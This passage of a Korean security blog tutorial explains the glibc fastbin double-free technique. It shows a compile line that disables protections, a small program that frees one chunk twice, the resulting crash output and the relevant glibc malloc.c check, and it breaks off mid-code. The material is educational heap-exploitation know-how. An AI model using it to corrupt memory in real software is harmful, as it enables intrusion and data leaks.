&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;* 컴파일 command line: gcc test.c -o test -Wl,-z,relro -no-pie -fno-stack-protector -O0 -ggdb&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;Last update: 6/25/2020&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Analysis&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;malloc을 호출할 때, 같은 주소를 두 번 반환하게 하는 기법이다. 두 포인터가 같은 곳을 가리키고 있기 때문에, 수정되지 말아야 할 데이터를 수정하거나, 접근이 불가능한 데이터를 leak 할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;다음과 같이 malloc 후 동일한 chunk를 두 번 free 한다고 가정하자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #1e1e1e;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 13px; padding: 6px; padding-left: 14px; padding-right: 14px;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; line-height: 130%; color: #858585;&quot;&gt;1&lt;br /&gt;2&lt;br /&gt;3&lt;br /&gt;4&lt;br /&gt;5&lt;br /&gt;6&lt;br /&gt;7&lt;br /&gt;8&lt;br /&gt;9&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #d4d4d4;&quot;&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;#include&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;lt;malloc.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;main&lt;/span&gt;()&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;void&lt;/span&gt;&amp;nbsp;*&lt;span style=&quot;color: #9cdcfe;&quot;&gt;s&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;malloc&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x20&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;free&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;s&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;free&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;s&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;;&lt;br /&gt;}&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;이걸 그대로 컴파일하고 실행하면 아래처럼 &lt;code&gt;double free or corruption (fasttop)&lt;/code&gt; 오류 메시지를 남기고 터진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;peda-highlighter&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas,'Liberation Mono',Menlo,Courier,monospace !important;&quot;&gt;
&lt;table class=&quot;peda-highlighter&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #300a24;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #ffffff;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #8ae234;&quot;&gt;syine@minetalinux&lt;/span&gt;&lt;/b&gt;:&lt;b&gt;&lt;span style=&quot;color: #729fcf;&quot;&gt;~/Desktop/test&lt;/span&gt;&lt;/b&gt;$&amp;nbsp;./test&lt;br /&gt;***&amp;nbsp;Error&amp;nbsp;in&amp;nbsp;`./test':&amp;nbsp;double&amp;nbsp;free&amp;nbsp;or&amp;nbsp;corruption&amp;nbsp;(fasttop):&amp;nbsp;0x0000000000f2c010&amp;nbsp;***&lt;br /&gt;=======&amp;nbsp;Backtrace:&amp;nbsp;=========&lt;br /&gt;/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f1fc631d7e5]&lt;br /&gt;/lib/x86_64-linux-gnu/libc.so.6(+0x8037a)[0x7f1fc632637a]&lt;br /&gt;/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f1fc632a53c]&lt;br /&gt;./test[0x400594]&lt;br /&gt;/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f1fc62c6830]&lt;br /&gt;./test[0x400499]&lt;br /&gt;=======&amp;nbsp;Memory&amp;nbsp;map:&amp;nbsp;========&lt;br /&gt;00400000-00401000&amp;nbsp;r-xp&amp;nbsp;00000000&amp;nbsp;08:02&amp;nbsp;925486&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/home/syine/Desktop/test/test&lt;br /&gt;00600000-00601000&amp;nbsp;r--p&amp;nbsp;00000000&amp;nbsp;08:02&amp;nbsp;925486&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/home/syine/Desktop/test/test&lt;br /&gt;00601000-00602000&amp;nbsp;rw-p&amp;nbsp;00001000&amp;nbsp;08:02&amp;nbsp;925486&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/home/syine/Desktop/test/test&lt;br /&gt;00f2c000-00f4d000&amp;nbsp;rw-p&amp;nbsp;00000000&amp;nbsp;00:00&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[heap]&lt;br /&gt;7f1fc0000000-7f1fc0021000&amp;nbsp;rw-p&amp;nbsp;00000000&amp;nbsp;00:00&amp;nbsp;0&amp;nbsp;&lt;br /&gt;7f1fc0021000-7f1fc4000000&amp;nbsp;---p&amp;nbsp;00000000&amp;nbsp;00:00&amp;nbsp;0&amp;nbsp;&lt;br /&gt;7f1fc6090000-7f1fc60a6000&amp;nbsp;r-xp&amp;nbsp;00000000&amp;nbsp;08:02&amp;nbsp;1050426&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/lib/x86_64-linux-gnu/libgcc_s.so.1&lt;br /&gt;7f1fc60a6000-7f1fc62a5000&amp;nbsp;---p&amp;nbsp;00016000&amp;nbsp;08:02&amp;nbsp;1050426&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/lib/x86_64-linux-gnu/libgcc_s.so.1&lt;br /&gt;7f1fc62a5000-7f1fc62a6000&amp;nbsp;rw-p&amp;nbsp;00015000&amp;nbsp;08:02&amp;nbsp;1050426&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/lib/x86_64-linux-gnu/libgcc_s.so.1&lt;br /&gt;7f1fc62a6000-7f1fc6466000&amp;nbsp;r-xp&amp;nbsp;00000000&amp;nbsp;08:02&amp;nbsp;1050388&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/lib/x86_64-linux-gnu/libc-2.23.so&lt;br /&gt;7f1fc6466000-7f1fc6666000&amp;nbsp;---p&amp;nbsp;001c0000&amp;nbsp;08:02&amp;nbsp;1050388&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/lib/x86_64-linux-gnu/libc-2.23.so&lt;br /&gt;7f1fc6666000-7f1fc666a000&amp;nbsp;r--p&amp;nbsp;001c0000&amp;nbsp;08:02&amp;nbsp;1050388&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/lib/x86_64-linux-gnu/libc-2.23.so&lt;br /&gt;7f1fc666a000-7f1fc666c000&amp;nbsp;rw-p&amp;nbsp;001c4000&amp;nbsp;08:02&amp;nbsp;1050388&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/lib/x86_64-linux-gnu/libc-2.23.so&lt;br /&gt;7f1fc666c000-7f1fc6670000&amp;nbsp;rw-p&amp;nbsp;00000000&amp;nbsp;00:00&amp;nbsp;0&amp;nbsp;&lt;br /&gt;7f1fc6670000-7f1fc6696000&amp;nbsp;r-xp&amp;nbsp;00000000&amp;nbsp;08:02&amp;nbsp;1050360&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/lib/x86_64-linux-gnu/ld-2.23.so&lt;br /&gt;7f1fc6879000-7f1fc687c000&amp;nbsp;rw-p&amp;nbsp;00000000&amp;nbsp;00:00&amp;nbsp;0&amp;nbsp;&lt;br /&gt;7f1fc6894000-7f1fc6895000&amp;nbsp;rw-p&amp;nbsp;00000000&amp;nbsp;00:00&amp;nbsp;0&amp;nbsp;&lt;br /&gt;7f1fc6895000-7f1fc6896000&amp;nbsp;r--p&amp;nbsp;00025000&amp;nbsp;08:02&amp;nbsp;1050360&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/lib/x86_64-linux-gnu/ld-2.23.so&lt;br /&gt;7f1fc6896000-7f1fc6897000&amp;nbsp;rw-p&amp;nbsp;00026000&amp;nbsp;08:02&amp;nbsp;1050360&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/lib/x86_64-linux-gnu/ld-2.23.so&lt;br /&gt;7f1fc6897000-7f1fc6898000&amp;nbsp;rw-p&amp;nbsp;00000000&amp;nbsp;00:00&amp;nbsp;0&amp;nbsp;&lt;br /&gt;7ffc38cf0000-7ffc38d11000&amp;nbsp;rw-p&amp;nbsp;00000000&amp;nbsp;00:00&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[stack]&lt;br /&gt;7ffc38dd9000-7ffc38ddc000&amp;nbsp;r--p&amp;nbsp;00000000&amp;nbsp;00:00&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[vvar]&lt;br /&gt;7ffc38ddc000-7ffc38dde000&amp;nbsp;r-xp&amp;nbsp;00000000&amp;nbsp;00:00&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[vdso]&lt;br /&gt;ffffffffff600000-ffffffffff601000&amp;nbsp;r-xp&amp;nbsp;00000000&amp;nbsp;00:00&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[vsyscall]&lt;br /&gt;Aborted&amp;nbsp;(core&amp;nbsp;dumped)&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;_int_free에 fast chunk double free를 검사하는 루틴이 있다. malloc.c 3935번째 줄에서 확인 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #1e1e1e;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 34px; padding: 6px; padding-left: 14px; padding-right: 14px;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; line-height: 130%; color: #858585;&quot;&gt;3928&lt;br /&gt;3929&lt;br /&gt;3930&lt;br /&gt;3931&lt;br /&gt;3932&lt;br /&gt;3933&lt;br /&gt;3934&lt;br /&gt;3935&lt;br /&gt;3936&lt;br /&gt;3937&lt;br /&gt;3938&lt;br /&gt;3939&lt;br /&gt;3940&lt;br /&gt;3941&lt;br /&gt;3942&lt;br /&gt;3943&lt;br /&gt;3944&lt;br /&gt;3945&lt;br /&gt;3946&lt;br /&gt;3947&lt;br /&gt;3948&lt;br /&gt;3949&lt;br /&gt;3950&lt;br /&gt;3951&lt;br /&gt;3952&lt;br /&gt;3953&lt;br /&gt;3954&lt;br /&gt;3955&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #d4d4d4;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;Atomically&amp;nbsp;link&amp;nbsp;P&amp;nbsp;to&amp;nbsp;its&amp;nbsp;fastbin:&amp;nbsp;P-&amp;gt;FD&amp;nbsp;=&amp;nbsp;*FB;&amp;nbsp;*FB&amp;nbsp;=&amp;nbsp;P;&amp;nbsp;&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;mchunkptr&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;old&lt;/span&gt;&amp;nbsp;=&amp;nbsp;*&lt;span style=&quot;color: #9cdcfe;&quot;&gt;fb&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;old2&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;unsigned&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;old_idx&lt;/span&gt;&amp;nbsp;=&amp;nbsp;~&lt;span style=&quot;color: #b5cea8;&quot;&gt;0u&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;do&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;Check&amp;nbsp;that&amp;nbsp;the&amp;nbsp;top&amp;nbsp;of&amp;nbsp;the&amp;nbsp;bin&amp;nbsp;is&amp;nbsp;not&amp;nbsp;the&amp;nbsp;record&amp;nbsp;we&amp;nbsp;are&amp;nbsp;going&amp;nbsp;to&amp;nbsp;add&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(i.e.,&amp;nbsp;double&amp;nbsp;free).&amp;nbsp;&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #dcdcaa;&quot;&gt;__builtin_expect&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;old&lt;/span&gt;&amp;nbsp;==&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;p&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;errstr&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;double&amp;nbsp;free&amp;nbsp;or&amp;nbsp;corruption&amp;nbsp;(fasttop)&quot;&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;goto&lt;/span&gt;&amp;nbsp;errout;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;Check&amp;nbsp;that&amp;nbsp;size&amp;nbsp;of&amp;nbsp;fastbin&amp;nbsp;chunk&amp;nbsp;at&amp;nbsp;the&amp;nbsp;top&amp;nbsp;is&amp;nbsp;the&amp;nbsp;same&amp;nbsp;as&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;size&amp;nbsp;of&amp;nbsp;the&amp;nbsp;chunk&amp;nbsp;that&amp;nbsp;we&amp;nbsp;are&amp;nbsp;adding.&amp;nbsp;&amp;nbsp;We&amp;nbsp;can&amp;nbsp;dereference&amp;nbsp;OLD&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;only&amp;nbsp;if&amp;nbsp;we&amp;nbsp;have&amp;nbsp;the&amp;nbsp;lock,&amp;nbsp;otherwise&amp;nbsp;it&amp;nbsp;might&amp;nbsp;have&amp;nbsp;already&amp;nbsp;been&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;deallocated.&amp;nbsp;&amp;nbsp;See&amp;nbsp;use&amp;nbsp;of&amp;nbsp;OLD_IDX&amp;nbsp;below&amp;nbsp;for&amp;nbsp;the&amp;nbsp;actual&amp;nbsp;check.&amp;nbsp;&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;have_lock&lt;/span&gt;&amp;nbsp;&amp;amp;&amp;amp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;old&lt;/span&gt;&amp;nbsp;!=&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;NULL&lt;/span&gt;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;old_idx&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;fastbin_index&lt;/span&gt;(&lt;span style=&quot;color: #569cd6;&quot;&gt;chunksize&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;old&lt;/span&gt;));&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;p&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;fd&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;old2&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;old&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;while&lt;/span&gt;&amp;nbsp;((&lt;span style=&quot;color: #9cdcfe;&quot;&gt;old&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;catomic_compare_and_exchange_val_rel&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;fb&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;p&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;old2&lt;/span&gt;))&amp;nbsp;!=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;old2&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: 